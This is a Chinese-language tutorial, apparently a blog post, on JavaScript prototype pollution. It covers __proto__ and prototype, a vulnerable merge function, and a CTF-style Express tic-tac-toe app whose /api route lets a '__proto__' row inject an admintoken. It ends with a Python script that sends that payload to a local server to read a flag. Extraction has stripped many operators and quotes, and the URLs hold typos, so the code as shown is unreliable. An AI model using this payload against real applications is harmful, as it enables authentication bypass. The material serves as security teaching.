手机 网站服务器,godaddy wordpress主机,万网个人网站怎么备案,河北建基官网原型链污染问题 原型链原型的继承原型链污染 原型链
原型的继承
先创建一个对象#xff0c;查看一下属性 const obj { prop1: 111, prop2: 222,} 这里的Object.prototype就是对象的原型。 原型里面有许多的属性#xff0c;这里面的constructor是我们需要着重关注的。 除此… 原型链污染问题 原型链原型的继承原型链污染 原型链
原型的继承
先创建一个对象查看一下属性 const obj { prop1: 111, prop2: 222,} 这里的Object.prototype就是对象的原型。 原型里面有许多的属性这里面的constructor是我们需要着重关注的。 除此之外还有一个__proto__也需要关注。
关于protopype和__proto__的关系我们一看便知。 这里的obj我们可以理解为实例对象Object可以理解为构造函数两者有这样的关系用图来解释一下就是 所以prototype、__proto__、constructor的关系有个大致了解。
原型链污染
原型链的污染就是通过prototype来实现的。 举个例子
构造函数的一个方法或者一个属性
function Animal(name) {this.name name;
}
Animal.prototype.color white;var cat1 new Animal(大毛);
var cat2 new Animal(二毛);cat1.color // white
cat2.color // white这里的cat本身并不具有颜色的属性但是因为原型链的改变而带有该属性这就是原型链污染的基础
上面的比较简单我们进阶一下。
function merge(target, source) {for (let key in source) {if (key in source key in target) {merge(target[key], source[key])} else {target[key] source[key]}}
}merge是合并的意思分析可知在source中的属性如果target中没有便会赋值进去使得target也获得。
那就实现一下进行一下原型链的污染操作如果此时传入的属性存在__proto__,将会产生污染。
let o1 {}
let o2 {a: 1, __proto__: {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)o3 {}
console.log(o3.b)合并成功了但是污染却没有完成这个原因是这样的这是因为我们用JavaScript创建o2的过程let o2 {a: 1, __proto__: {b: 2}}中__proto__已经代表o2的原型了此时遍历o2的所有键名你拿到的是[a, b]__proto__并不是一个key自然也不会修改Object的原型。
所以我们需要修改代码。
let o2 JSON.parse({a: 1, __proto__: {b: 2}})再查看一下。 原型链污染完成了。
既然我们已经有了简单的了解那不妨再进阶一下。
const express require(express)
var hbs require(hbs);
var bodyParser require(body-parser);
const md5 require(md5);
var morganBody require(morgan-body);
const app express();
var user []; //empty for nowvar matrix [];
for (var i 0; i 3; i){matrix[i] [null , null, null];
}function draw(mat) {var count 0;for (var i 0; i 3; i){for (var j 0; j 3; j){if (matrix[i][j] ! null){count 1;}}}return count 9;
}app.use(express.static(public));
app.use(bodyParser.json());
app.set(view engine, html);
morganBody(app);
app.engine(html, require(hbs).__express);app.get(/, (req, res) {for (var i 0; i 3; i){matrix[i] [null , null, null];}res.render(index);
})app.get(/admin, (req, res) { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken req.query.querytoken md5(user.admintoken) req.query.querytoken){res.send(Hey admin your flag is bflag{prototype_pollution_is_very_dangerous}/b);} else {res.status(403).send(Forbidden);}
}
)app.post(/api, (req, res) {var client req.body;var winner null;if (client.row 3 || client.col 3){client.row % 3;client.col % 3;}matrix[client.row][client.col] client.data;for(var i 0; i 3; i){if (matrix[i][0] matrix[i][1] matrix[i][1] matrix[i][2] ){if (matrix[i][0] X) {winner 1;}else if(matrix[i][0] O) {winner 2;}}if (matrix[0][i] matrix[1][i] matrix[1][i] matrix[2][i]){if (matrix[0][i] X) {winner 1;}else if(matrix[0][i] O) {winner 2;}}}if (matrix[0][0] matrix[1][1] matrix[1][1] matrix[2][2] matrix[0][0] X){winner 1;}if (matrix[0][0] matrix[1][1] matrix[1][1] matrix[2][2] matrix[0][0] O){winner 2;} if (matrix[0][2] matrix[1][1] matrix[1][1] matrix[2][0] matrix[2][0] X){winner 1;}if (matrix[0][2] matrix[1][1] matrix[1][1] matrix[2][0] matrix[2][0] O){winner 2;}if (draw(matrix) winner null){res.send(JSON.stringify({winner: 0}))}else if (winner ! null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () {console.log(app listening on port 3000!)
})这个代码就是非常长了需要我们认真分析。 我们要明确我们要拿到什么flag 获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等且二者都要存在。 由代码可知全文没有对user.admintokn 进行赋值所以理论上这个值时不存在的但是下面有一句赋值语句
matrix[client.row][client.col] client.data根据原型链污染我们要想到这里的client.row应该就是__proto__,这里的client.col需要再分析一下admintoken我们可以尝试填入这里querytoken直接传入即可。 尝试一下
import requests
import jsonur11 http://127.0..1:3000/api
ur12http://127.0.0.1:3000/admin?querytokena3c23537bfc1e2da4a511661547d65fbs requests.session()headers {Content-Type:application/json}
data1 [row: __proto__ ,col: admintoken,data:sunsec]
res1 s.post(url1,headersheaders,data json.dumps(data1))
res2 s.get(ur12)print res2.text